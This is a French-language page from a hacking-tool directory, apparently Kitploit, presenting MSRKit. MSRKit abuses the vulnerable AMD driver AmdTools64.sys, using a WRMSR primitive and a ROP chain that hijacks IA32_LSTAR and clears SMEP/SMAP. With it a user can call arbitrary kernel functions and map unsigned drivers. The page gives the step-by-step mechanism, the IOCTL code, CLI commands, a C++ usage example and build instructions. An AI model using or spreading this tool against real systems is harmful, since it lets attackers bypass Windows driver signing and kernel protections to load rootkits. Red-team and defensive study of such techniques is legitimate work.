Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
MSRKit — Un concept consistant à utiliser une chaîne ROP associée à une primitive WRMSR pour appeler des fonctions du noyau et mapper des pilotes non signés via BYOVD (AmdTools64.sys) | Kitploit
Outils/GitHubGitHub/rurixis/msrkit
Escalade de PrivilègesExploitationRétro-ingénierieShellcodePost-ExploitationRed TeamingDéveloppement de Charges UtilesExploitation de Binaires
GitHubrurixis/msrkit

MSRKit

Un concept consistant à utiliser une chaîne ROP associée à une primitive WRMSR pour appeler des fonctions du noyau et mapper des pilotes non signés via BYOVD (AmdTools64.sys)

9135il y a 2 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt

MSRKit

Un outil pour appeler des fonctions du noyau et mapper des pilotes via une chaîne ROP à travers une primitive wrmsr dans un pilote vulnérable (AmdTools64.sys).

Fonctionnement

  1. Charge AmdTools64.sys via NtLoadDriver (bascule vers PnP devnode + interface de périphérique basée sur GUID si le lien symbolique est indisponible)
  2. Lit IA32_LSTAR via l'IOCTL de lecture MSR du pilote (0xFFF02804)
  3. Scanne ntoskrnl.exe à la recherche de gadgets ROP (pop rcx; ret, mov cr4, rcx; ret, wbinvd; ret, etc.)
  4. Écrase IA32_LSTAR avec le gadget d'entrée, efface AC dans FMASK, et émet syscall
  5. La chaîne ROP efface les bits SMEP/SMAP dans CR4, distribue la fonction cible sur la pile du noyau, restaure CR4 et LSTAR, retourne en mode utilisateur via sysretq

Le mapping de pilote suit le même chemin : alloue un pool noyau via ExAllocatePoolWithTag, copie l'image PE préparée (relocations appliquées, imports résolus, security cookie patché), et appelle le point d'entrée mappé.

Utilisation

CLI

root@kitploit:~
msrkit <driver.sys> call    <ExportName> [args...]
msrkit <driver.sys> call_at <address>    [args...]
msrkit <driver.sys> map     <unsigned.sys> [entry args...]
msrkit <driver.sys> unmap   <address>
  • call -- résout et appelle un export nommé de ntoskrnl. Les arguments sont analysés comme des entiers (hexadécimal avec préfixe 0x). Affiche la valeur de retour.
  • call_at -- appelle une adresse virtuelle arbitraire du noyau.
  • map -- mappe un pilote non signé dans le pool non paginé et appelle son point d'entrée (ExAllocatePoolWithTag). Affiche l'adresse de base mappée.
  • unmap -- libère un pilote précédemment mappé à l'adresse de base donnée.

Bibliothèque

root@kitploit:~
#include "msrkit.h"

#pragma comment(lib, "msrkit.lib")

int main()
{
	MSRK::INIT(L"AmdTools64.sys");

	void* mptr = MSRK::CALL("ExAllocatePool2", 0x40ULL, 0x1000, 'Ruri');
	std::cout << "Memory allocate: " << mptr << std::endl;

	auto mptr23 = MSRK::MAP("driver.sys", 123, 456);
	std::cout << "Driver mapped: " << std::hex << (uintptr_t)mptr23 << "\n";

	// raw call
	std::vector<uint64_t>args = { 0x40ULL, 1024, 'Tagz' };
	void* mptr24 = MSRK::M_FUNCTION::CALL("ExAllocatePool2", args.data(), args.size());
	std::cout << "raw memory alloc : " << mptr24 << std::endl;

	std::vector<uint64_t>args2 = { 123, 456 };
	auto mptr25 = MSRK::M_DRIVERMAP::MAP( "driver.sys", args2.data(), args2.size() );

	MSRK::UNMAP(mptr23);	
	MSRK::CLEANUP();
}

Passer optionnellement un handle de pilote existant pour éviter le chargement :

root@kitploit:~
MSRK::INIT("AmdTools64.sys", existing_handle);

Compilation

Nécessite Visual Studio avec MSVC (v143+) et MASM (ml64.exe).

root@kitploit:~
cmake -B build -G "Visual Studio 17 2022" -A x64
cmake --build build --config Release

Sortie : build/Release/msrkit.exe (CLI) et msrkit.lib (bibliothèque statique).

CFG est désactivé (/guard:cf-). Les stack cookies (/GS) sont activés.

Fonctionnalités

  • Prise en charge complète de toutes les versions de Windows 10 et 11
  • Compatible avec KPTI
  • Pas de prise en charge HVCI (HVCI doit être désactivé)
  • Prise en charge des pilotes PnP / Non PnP

Limitations

  • Exécution mono-cœur uniquement -- le thread est épinglé au CPU 0 pendant les appels noyau
  • Les détournements LSTAR concurrents depuis des processus séparés provoqueront un BSOD (un appelant à la fois)
  • Les stubs d'appel système Zw/Nt ne peuvent pas être appelés depuis le contexte LSTAR (réentre dans KiSystemService)
Télécharger l’outil